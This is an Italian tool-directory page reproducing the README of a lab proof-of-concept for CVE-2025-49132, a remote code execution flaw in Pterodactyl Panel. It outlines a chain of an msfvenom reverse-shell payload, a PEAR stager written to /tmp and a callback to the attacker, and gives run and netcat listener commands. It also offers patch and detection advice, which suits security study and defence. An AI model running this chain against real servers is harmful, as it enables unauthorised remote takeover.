Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
HTB-Pterodactyl-RCE-CVE-2025-49132 — Questo repository contiene l'exploit RCE per la macchina HTB Pterodactyl | Kitploit
Strumenti/GitHubGitHub/symphony2colour/htb-pterodactyl-rce-cve-2025-49132
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneLab e Pratica

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
GitHub
symphony2colour/htb-pterodactyl-rce-cve-2025-49132

HTB-Pterodactyl-RCE-CVE-2025-49132

Questo repository contiene l'exploit RCE per la macchina HTB Pterodactyl

Vedi Repository
126 mesi faNon ancora revisionato
Condividi

Pterodactyl Panel Locale RCE (CVE-2025-49132) — PoC Educativo

scope cve python license

Solo per test autorizzati e apprendimento difensivo.
Questo repository è pensato per ambienti di laboratorio controllati (es. configurazioni CTF/HTB) in cui possiedi il target o hai ricevuto esplicita autorizzazione scritta per testarlo.

Contesto

Questo repository contiene un proof-of-concept Python educativo (pterodactyl_rce.py) per una vulnerabilità reale che interessa Pterodactyl Panel versioni precedenti alla v1.11.11. In configurazioni vulnerabili, un attaccante non autenticato può ottenere esecuzione remota di codice tramite l'endpoint /locales/locale.json a causa di una gestione non corretta dei parametri locale e .

namespace

Questa variante del PoC è pensata per ambienti in cui PHP-PEAR è installato ed è stata costruita/validata contro la macchina ritirata di Hack The Box Pterodactyl: https://app.hackthebox.com/machines/Pterodactyl. Potrebbe funzionare anche in altri setup di laboratorio in cui sussistono le stesse condizioni.

Riferimento vulnerabilità

  • Advisory GitHub: GHSA-24wv-6c99-f843 (CVE-2025-49132)
  • Interessati: Pterodactyl Panel < 1.11.11
  • Corretto nella: v1.11.11 (commit di patch 24c82b0…)

Idea generale (come funziona il PoC)

Ad alto livello, il PoC combina questi passaggi:

  1. Genera un payload ELF reverse TCP per Linux x64 con msfvenom.
  2. Serve l'ELF tramite un server HTTP (una richiesta, poi esce).
  3. Abusa della gestione vulnerabile di /locales/locale.json per scrivere uno "stager" PHP in /tmp (tramite un trucco con pearcmd config-create di PEAR).
  4. Attiva lo stager attraverso l'endpoint delle localizzazioni, così che:
    • scarichi l'ELF in /tmp,
    • lo renda eseguibile,
    • lo esegua per riconnettersi al tuo listener.

Lo script usa un client HTTP grezzo invece di curl per il passaggio di "upload", perché alcuni strumenti potrebbero normalizzare o codificare i caratteri in un modo che rompe la richiesta costruita.

Nota: Questo README rimane intenzionalmente a un livello difensivo/educativo. Usa il codice solo in ambienti in cui ti è consentito fare test.


Requisiti (locali)

  • Python 3.10+ (testato con sola libreria standard)
  • msfvenom disponibile in $PATH (Metasploit Framework)
  • nc (netcat) se vuoi che il PoC avvii un auto-listener
  • Accesso di rete tra la tua macchina di laboratorio e l'istanza Pterodactyl di laboratorio

Configurazione

Lo script attualmente si aspetta un hostname HTB del pannello nel sorgente:

root@kitploit:~
host = "panel.pterodactyl.htb"

Inoltre il percorso hardcoded verso PHP-PEAR è impostato a: ../../../../../usr/share/php/PEAR. Se stai testando al di fuori della macchina Pterodactyl, dovrai adattare questo percorso alla tua configurazione locale.


Utilizzo (solo laboratorio controllato)

1) Esecuzione base (auto-listener abilitato)

root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT>
  • <LHOST>: il tuo IP di callback raggiungibile dal server di laboratorio
  • <LPORT>: la porta su cui ricevere la reverse shell

2) Esecuzione senza auto-listener

Se preferisci usare un tuo listener:

root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen

Poi, in un altro terminale:

root@kitploit:~
nc -lvnp <LPORT>

Esempio (segnaposto)

root@kitploit:~
python3 pterodactyl_rce.py 10.10.14.225 5555

Output / cosa aspettarsi

Flusso tipico:

  • Genera un payload ELF (nome casuale tipo shell_ab12cd34)
  • Avvia un server HTTP one-shot su :8080
  • Crea uno stager PHP in /tmp/<casuale>.php
  • Attiva lo stager
  • Rimuove il file ELF locale dopo l'attivazione
  • Mostra un suggerimento per migliorare la shell (PTY)

Screenshot dello sfruttamento riuscito:

Reverse shell

Problemi noti / Note di laboratorio

  • Instabilità del laboratorio: La macchina/servizio target potrebbe essere instabile (timeout, 5xx intermittenti, esecuzione ritardata). Se un tentativo fallisce, riprova dopo una breve pausa.
  • Riutilizzo di vecchi payload: L'ambiente potrebbe a volte attivare un vecchio file caricato/staged. Lo script pulisce solo un file locale sulla macchina dell'attaccante, ma non tocca i file nella cartella /tmp/ sulla macchina. Soluzioni alternative:
    • Esegui di nuovo con un nuovo nome casuale del payload (comportamento predefinito di questo script).
    • Cambia la porta iniziale di http.server da 8080 a un'altra porta.
    • Cambia la porta del tuo listener (es. 4444 → 5555) e rigenera il payload.
    • Assicurati che il tuo server HTTP stia servendo il file corrente (ferma qualsiasi server/listener precedente).
    • Se hai accesso, rimuovi manualmente i vecchi artefatti /tmp/<nome>.php sul target; altrimenti, attendi un po' e riprova.

Guida difensiva (cosa correggere / come rilevare)

Patch / mitigazione

  • Aggiorna a Pterodactyl Panel v1.11.11 o successivo.
  • Non esiste una soluzione alternativa in-app oltre alla patch; puoi bloccare l'endpoint /locales/locale.json a livello di web server, ma potrebbe rompere le funzionalità di localizzazione.

Idee per il rilevamento

Cerca richieste sospette come:

  • Richieste a /locales/locale.json con insolite sequenze di traversal in locale=
  • Valori namespace= anomali (nomi inaspettati, stringhe lunghe, caratteri strani)
  • Creazione improvvisa di file inaspettati in /tmp/ sull'host del pannello

Correla i log web con:

  • nuovi processi avviati dall'utente www / PHP-FPM
  • connessioni in uscita verso destinazioni/porte non standard
  • uso inaspettato di curl/wget dall'host del pannello

Note sull'uso responsabile

  • Non scansionare né testare istanze pubbliche.
  • Se gestisci un'istanza vulnerabile, trattala come critica e applica la patch immediatamente.

Riconoscimenti / Ringraziamenti

  • PoC originale: Pterodactyl Panel (< 1.11.11) — Remote Code Execution (RCE) (EDB-ID: 52341, CVE-2025-49132) di Zen-kun04
    https://www.exploit-db.com/exploits/52341
  • Segnalatore / merito della scoperta: L'advisory GitHub attribuisce a @azimoff337 la segnalazione di GHSA-24wv-6c99-f843 / CVE-2025-49132.
  • GitHub Advisory Database / processo CVE: per il tracciamento e la pubblicazione dei dettagli della vulnerabilità.
  • Hack The Box (HTB): questo PoC è stato costruito/validato in un ambiente di laboratorio controllato in stile HTB per apprendimento e ricerca difensiva.
    Niente spoiler per i contenuti HTB attivi.
Scarica lo strumento